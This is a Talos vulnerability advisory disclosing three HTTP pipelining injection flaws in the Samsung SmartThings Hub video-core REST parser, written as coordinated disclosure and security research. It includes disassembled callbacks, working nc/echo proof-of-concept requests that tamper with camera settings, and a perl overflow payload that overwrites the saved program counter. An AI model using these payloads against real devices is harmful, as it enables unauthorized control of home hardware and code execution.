Talos Vulnerability Report

TALOS-2018-0577

Samsung SmartThings Hub video-core REST Request Parser HTTP Pipelining Injection Vulnerabilities

July 26, 2018
CVE Number

CVE-2018-3907, CVE-2018-3908, CVE-2018-3909

Summary

Multiple exploitable vulnerabilities exist in the REST parser of video-core's HTTP server of the Samsung SmartThings Hub. The video-core process incorrectly handles pipelined HTTP requests, which allows successive requests to overwrite the previously parsed HTTP method, URL and body. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

The HTTP server implementation in video-core is based on http-parser. The usage of http-parser is explained in the project's "readme", and essentially allows for an HTTP server to be implemented using the following steps:

1. Create an `http_parser` object and call `http_parser_init()`.
2. Create an `http_parser_settings` object and configure any required callback. For example, the `on_url` function is called right after the URL component of the request is parsed.
3. Bind to any port and read an arbitrarily-long message (the client's HTTP request).
4. Send the message and the `http_parser_settings` object to `http_parser_execute()`, which takes care of parsing the request and calling the necessary callbacks.
5. If the function doesn't return any parsing error, execute any logic based on the parsed data.

The http-parser library supports both chunked and pipelined requests. Because of this, the callbacks may be invoked multiple times during a single http_parser_execute() call. The callbacks defined by video-core are:

- `on_url`: called when a URL is parsed.
- `on_body`: called when an HTTP body is parsed.
- `on_message_complete`: called when the current HTTP request is complete.

The callbacks, as defined by video-core, correctly support chunked requests. However, they incorrectly handle pipelined requests, as they don't have the concept of multiple HTTP requests over a unique connection.

CVE-2018-3907 - "on_url" callback

The following is the implementation of the on_url callback, defined by sub_41618:

.text:00041618     sub_41618
.text:00041618
.text:00041618     var_1F8= -0x1F8
.text:00041618     var_1F4= -0x1F4
.text:00041618     s      = -0x1F0
.text:00041618
.text:00041618 000        STMFD           SP!, {R4-R6,LR}
.text:0004161C 010        MOV             R5, R2
.text:00041620 010        LDR             R4, [R0,#http_parser.data]
.text:00041624 010        SUB             SP, SP, #0x1E8
.text:00041628 1F8        LDR             R0, [R4,#0x24]
.text:0004162C 1F8        ADD             R3, R2, R0              ; [1]
.text:00041630 1F8        CMP             R3, #0x200              ; [2]
.text:00041634 1F8        BCC             loc_41658
...
.text:00041658     loc_41658
.text:00041658 1F8        ADD             R0, R4, R0
.text:0004165C 1F8        MOV             R6, #0
.text:00041660 1F8        ADD             R0, R0, #0x2C
.text:00041664 1F8        BL              memcpy                  ; [3]
.text:00041668 1F8        MOV             R3, #:lower16:debug_log
.text:0004166C 1F8        LDR             R1, [R4,#0x24]
.text:00041670 1F8        MOVT            R3, #:upper16:debug_log
.text:00041674 1F8        LDR             R2, [R3]
.text:00041678 1F8        ADD             R5, R5, R1
.text:0004167C 1F8        ADD             R3, R4, R5
.text:00041680 1F8        STR             R5, [R4,#0x24]          ; [4]
.text:00041684 1F8        CMP             R2, #3
.text:00041688 1F8        STRB            R6, [R3,#0x2C]
.text:0004168C 1F8        BHI             loc_416EC
.text:00041690 1F8        MOV             R0, R6
.text:00041694
.text:00041694     loc_41694
.text:00041694 1F8        ADD             SP, SP, #0x1E8
.text:00041698 010        LDMFD           SP!, {R4-R6,PC}

The callback receives three arguments, in order:

- `http_parser` object
- string pointing to the `url` portion
- length of the `url` string

At [1], the current length of the parsed url string is extracted from the structure stored in http_parser.data, and at [2], the function ensures that the final url has a maximum length of 512 characters. At [3], the url portion received as second parameter is concatenated to the current url. Finally, at [4], the length is updated in the global structure.

When pipelined HTTP requests are present, this callback will be called multiple times and the same url buffer will be updated, causing successive request to interfere with each other.

"on_url" exploit Proof of Concept

The following proof of concept shows how to perform one unique HTTP request by concatenating the paths of two different requests:

$ echo -e "GET /req1 HTTP/1.1\r\n\r\nGET /req2\r\n\r\n" | nc 127.0.0.1 3000

By looking at the hub's logs, we can see that the parsed request is "GET /req1/req2", rather than two different HTTP requests.

# grep " REST " /var/log/videoCoreLog | tail -n 2
[... #1325 REST videoCoreREST.c:374] handling request GET /req1/req2
[... #1325 REST httpMethod.c:151] http response 404 size=67 for GET /req1/req2

Note that http-parser imposes restrictions on the URI format, specifically when the URI just includes a path, this must start with either "*" or "/", otherwise an error is thrown and the parsing is interrupted.

CVE-2018-3908 - "on_body" callback

The following is the implementation of the on_body callback, defined by sub_41734:

.text:00041734     sub_41734
.text:00041734
.text:00041734     var_1F8= -0x1F8
.text:00041734     var_1F4= -0x1F4
.text:00041734     s      = -0x1F0
.text:00041734
.text:00041734 000        STMFD           SP!, {R4-R6,LR}
.text:00041738 010        MOV             R5, R2
.text:0004173C 010        LDR             R4, [R0,#http_parser.data]
.text:00041740 010        SUB             SP, SP, #0x1E8
.text:00041744 1F8        LDR             R0, [R4,#0x28]
.text:00041748 1F8        ADD             R3, R2, R0              ; [1]
.text:0004174C 1F8        CMP             R3, #0x1C00             ; [2]
.text:00041750 1F8        BCC             loc_41774
...
.text:00041774     loc_41774
.text:00041774 1F8        ADD             R0, R4, R0
.text:00041778 1F8        MOV             R6, #0
.text:0004177C 1F8        ADD             R0, R0, #0x22C
.text:00041780 1F8        BL              memcpy                  ; [3]
.text:00041784 1F8        MOV             R3, #:lower16:debug_log
.text:00041788 1F8        LDR             R1, [R4,#0x28]
.text:0004178C 1F8        MOVT            R3, #:upper16:debug_log
.text:00041790 1F8        LDR             R2, [R3]
.text:00041794 1F8        ADD             R5, R5, R1
.text:00041798 1F8        ADD             R3, R4, R5
.text:0004179C 1F8        STR             R5, [R4,#0x28]          ; [4]
.text:000417A0 1F8        CMP             R2, #3
.text:000417A4 1F8        STRB            R6, [R3,#0x22C]
.text:000417A8 1F8        BHI             loc_41808
.text:000417AC 1F8        MOV             R0, R6
.text:000417B0
.text:000417B0     loc_417B0
.text:000417B0 1F8        ADD             SP, SP, #0x1E8
.text:000417B4 010        LDMFD           SP!, {R4-R6,PC}

The implementation is similar to the on_url callback, except for the maximum size of the body component [2].

"on_body" exploit Proof of Concept

The following proof of concept shows how to perform one unique HTTP request, specifying the path in the first request, and the body in the second:

# assume that we have a camera with id 00000000-0000-0000-0000-000000000001, and notice the "url" is "A".
$ curl -X GET http://127.0.0.1:3000/cameras/00000000-0000-0000-0000-000000000001
{"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}}

# change the url to "B"
$ echo -e "PATCH /cameras HTTP/1.1\r\n\r\nPATCH /00000000-0000-0000-0000-000000000001\r\nContent-Length: 22\r\n\r\n{\"url\":\"B\",\"state\":\"\"}" | nc 127.0.0.1 3000
HTTP/1.1 200 OK
Server: Video-Core
Date: Wed, 11 Apr 2018 14:53:28 GMT
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Connection: close
Content-Length: 319
Content-Type: application/json

    {       "status": "Updated",       "camera": {         "cameraId": "00000000-0000-0000-0000-000000000001",         "locationId": "00000000-0000-0000-0000-000000000000",         "dni": "000000000000",         "url": "B",         "state": "",         "status": "unavailable",         "statusMessage": ""       }     }

As we can see, the "url" field of the camera has been changed to "B", by specifying the body part of the first HTTP request in the second HTTP request.

CVE-2018-3909 - "onmessagecomplete" callback

The following is the implementation of the on_message_complete callback, defined by sub_415F4:

.text:000415F4     sub_415F4
.text:000415F4 000        LDR             R3, [R0,#http_parser.data]
.text:000415F8 000        MOV             R2, R0
.text:000415FC 000        LDRB            R12, [R2,#http_parser.method]
.text:00041600 000        MOV             R1, #1
.text:00041604 000        MOV             R0, #0
.text:00041608 000        ADD             R2, R3, #0x1000
.text:0004160C 000        STR             R12, [R3,#0x20]               ; [5]
.text:00041610 000        STR             R1, [R2,#0xE2C]
.text:00041614 000        BX              LR

This function is called every time http-parser detects the end of an HTTP request. For example, if two HTTP requests are present in the buffer, this function will be called two times.

At [5] the "method" field of a custom structure, defined by video-core, is updated. When pipelined HTTP requests are present, the last request will overwrite the "method" field last, so all previous methods will be discarded.

"onmessagecomplete" exploit Proof of Concept

The following proof of concept shows how to perform one unique HTTP request, using the second request for changing the method specified by the first one:

$ echo -e "PUT /cameras HTTP/1.1\r\n\r\nGET /00000000-0000-0000-0000-000000000001\r\n\r\n" | nc 127.0.0.1 3000
HTTP/1.1 200 OK
Server: Video-Core
Date: Wed, 11 Apr 2018 15:10:21 GMT
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Connection: close
Content-Length: 162
Content-Type: application/json
Content-Location: /dev/000000000000

{"status":"success","data":{"cameraId":"00000000-0000-0000-0000-000000000001","locationId":"00000000-0000-0000-0000-000000000000","dni":"000000000000","url":"A"}}

By looking at the hub's logs, we can see that the parsed request is "GET /cameras/00000000-0000-0000-0000-000000000001", rather than "PUT /cameras/00000000-0000-0000-0000-000000000001".

# grep " REST " /var/log/videoCoreLog | tail -n 2
[... #1325 REST videoCoreREST.c:374] handling request GET /cameras/00000000-0000-0000-0000-000000000001
[... #1325 REST httpMethod.c:151] http response 200 size=162 for GET /cameras/00000000-0000-0000-0000-000000000001

Exploit Proof of Concept

The following proof of concept shows how to use the three vulnerabilities above in order to trigger an additional vulnerability described in TALOS-2018-0573, which will overwrite the saved-PC with 0x41414141.

$ (perl -e 'print "DELETE /cameras/ HTTP/1.1\r\nContent-Length: 6904\r\n\r\n{\"cameraId\":\"x\",\"locationId\":\"x\",\"dni\":\"x\",\"url\":\"","X"x6740,"AAAABBBB","\x55\x55\x8a\x75","C"x100,"\"}\r\n\r\nPUT *\r\n\r\n"') | nc -vv 127.0.0.1 3000

Moreover, we verified that the same could be applied to the buffer overflow in TALOS-2018-0570 and the SQL injection in TALOS-2018-0556 (when used on the "/clips" path), however with the requirement of knowing at least an existing "cameraId".

Finally, note that the three vulnerabilities in this report provide a different way of exploiting bugs in video-core, and could give mainly two advantages to an attacker:

- Can be used to evade attacks identification, by splitting HTTP components in multiple requests.
- Can be further chained with TALOS-2018-0578 to achieve arbitrary code execution without authentication.

Timeline

2018-04-19 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.